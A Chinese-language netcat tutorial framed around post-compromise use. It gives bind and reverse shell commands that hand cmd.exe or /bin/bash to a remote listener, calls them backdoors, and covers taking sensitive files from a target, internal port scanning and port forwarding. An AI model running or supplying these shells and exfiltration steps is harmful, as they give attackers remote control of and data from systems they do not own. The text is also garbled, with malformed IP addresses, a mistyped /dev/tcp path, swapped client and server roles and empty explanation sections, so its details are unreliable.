netcat是網絡界的瑞士軍刀,使用netcat,可以解決用戶端主動連接配接伺服器被防火牆攔截的問題,使用netcat,我們的pc(控制端)相當于伺服器,伺服器(被控制端)相當于一個用戶端。下面是netcat原理圖:

netcat下載下傳位址:
https://eternallybored.org/misc/netcat/
1. 基本使用
兩台機器通信:
建立一個伺服器端
nc -l -p [localport]
建立一個用戶端方法:
nc [remote_addr] [remoteport]
2. 傳回Shell
用戶端擷取服務端的shell:
建立一個伺服器端(被控制端)
nc -l -p [localport] -e cmd.exe
建立一個用戶端(控制端)方法
nc [remote_addr] [remoteport]
3. 檔案傳輸
使用場景:
1. 驗證
當目标機器被黑客攻擊之後,驗證人員可以利用nc的檔案傳輸功能來擷取目标機器上的檔案内容。
避免直接在目标機器上進行操作造成驗證的誤差
2. 擷取目标機器上的敏感檔案
當目标機器上有一些檔案内容,無法正常下載下傳時,可以利用nc進行檔案傳輸
為什麼可以直接利用nc進行檔案傳輸:
nc中的資料傳輸使用的時标準的輸入、輸出流,是以可以直接利用指令行來進行操作。
使用方法:
1). 實作用戶端向伺服器端傳輸檔案
建立一個伺服器端方法:
nc -l -p [localport] > outfile
建立一個用戶端方法:
nc [remote_addr] [remoteport] < infile
注意端口号和<,>之間要有空格隔開
2). 實作服務端向用戶端傳輸資料
建立一個伺服器端方法:
nc -l -p [localport] < outfile
建立一個用戶端方法:
nc [remote_addr] [remoteport] > infile
對于無法連接配接到的服務端,如何避免nc假死:
如果服務端沒有準備好連接配接,而用戶端已經使用nc進行連接配接,那麼用戶端會一直等待下去,
直到連接配接上服務端,造成一種假死狀态。
解決方法:設定等待時間
nc -w3 [ip] [port] //設定等待時間3秒鐘,超過3秒鐘,用戶端直接關閉等待連接配接
4. netcat資訊探測
使用場景:
1). 目标内網的掃描
當獲得目标權限之後,如果目标沒有任何途徑可以對内網進行探測,但此時剛好有一個netcat的話,
就可以使用netcat進行内網ip和端口的掃描
2). 對某個目标進行端口探測
3). 對目标的服務banner進行抓取
端口掃描使用方法:
nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
-v: 表示對錯誤進行詳細輸出
-n: 不對目标機器進行DNS解析
-z:zero I/O模式,專用于端口掃描,表示對目标IP發送的資料表中不好含任何payload,這樣做可以加快掃描速度
-w1: 逾時設定為1秒
對目标的服務banner進行抓取:
echo " " | nc -v -n -w1 192.168.1.101 1-1000
5. netcat建立後門
使用場景:
1). 擷取目标的指令執行權限
當目标機器上存在netcat之後,可以使用netcat建立後門,來實作執行目标指令的功能
使用方法:
監聽型後門(windows):
服務端:nc [remote_ip] [remote_port]
用戶端:nc -l -p 4444 -e cmd.exe
連接配接型後門(windows):
nc [remote_ip] [remote_port] -e cmd.exe
服務端:nc -l -p 4444
用戶端:nc [remote_ip] [remote_port] -e cmd.exe
監聽型後門(linux):
服務端:nc [remote_ip] [remote_port]
用戶端:nc -l -p 4444 -e /bin/bash
連接配接型後門(linux):
服務端:nc -l -p 4444
用戶端:nc [remote_ip] [remote_port] -e /bin/bash
6. nc指令參數
檢視指令參數:使用nc -h
-d: 脫離指令視窗,在背景運作,常用于後門建立過程
-e: 執行某個程式,常用于後門建立過程
-G gateway: 設定網關,常用于突破内網限制
-g num: 路由跳數
-i sec:設定發送每一行資料的時間間隔
-l: 設定netcat處于監聽狀态等待連接配接
-L: 設定netcat處于監聽狀态,等待連接配接,當用戶端斷開,服務端依舊回到等待狀态。
-n: 設定netcat隻識别ip位址,不在進行DNS解析。
-o file:設定傳輸十六進制的資料
-p port:設定本地監聽的端口号
-r: 設定netcat随機化的端口号
-s addr:設定netcat源位址
-t: 回複telnet的請求資料包
-u: 設定netcat使用UDP模式
-v: 顯示錯誤提示資訊
-w secs:設定連接配接逾時秒數
-z:設定掃描模式,表示發送的資料包中不包含任何payload
7. netcat 連接配接轉發
使用方法:
echo nc [targetip] [port] > delay.bat
nc -l -p [localhost] -e delay.bat
當有用戶端連接配接該服務端時,連接配接的用戶端和通過服務端連接配接到target port上 實作了連接配接轉發功能(端口轉發
場景: kali想通過windows連接配接到centos:
1. centos(192.168.146.128): netcat -l -p 4444
2. windows(192.1.68.1.105): nc64.exe -l -p 4445 -e delay.bat
delay.bat内容:
nc64.exe 192.168.146.128 4444
3. Kali: nc 192.1.68.1.105 4445
7. netcat反彈shell(bash)
應用場景:
某些拿到伺服器權限之後,想要設定一個反彈shell,但是目标伺服器上沒有安裝netcat時
在沒有安裝netcat的伺服器上執行反彈shell指令: bash -i >& /dev/tc/ip/port 0>&1
在控制端PC接收netcat指令:nc -lvp port
指令解釋:
8. netcat反彈shell(python)
應用場景:
某些拿到伺服器權限之後,想要設定一個反彈shell,但是目标伺服器上沒有安裝netcat,但是安裝了python時
在沒有安裝netcat的伺服器上執行python程式
在控制端PC接收netcat指令:nc -lvp 4445
指令解釋:
9. netcat反彈shell(不支援nc -e)
應用場景:
某些拿到伺服器權限之後,想要設定一個反彈shell,當時因為配置原因不支援 -e 參數:
反彈shell指令:
nc ip port | /bin/bash | nc ip port
nc 192.168.1.100 4445 | /bin/bash | nc 92.168.1.100 4446
PC接受netcat指令:nc -lvp port,需要啟動兩個監聽端口
nc -lvp 4445(輸入)
nc -lvp 4446(輸出)
指令解釋: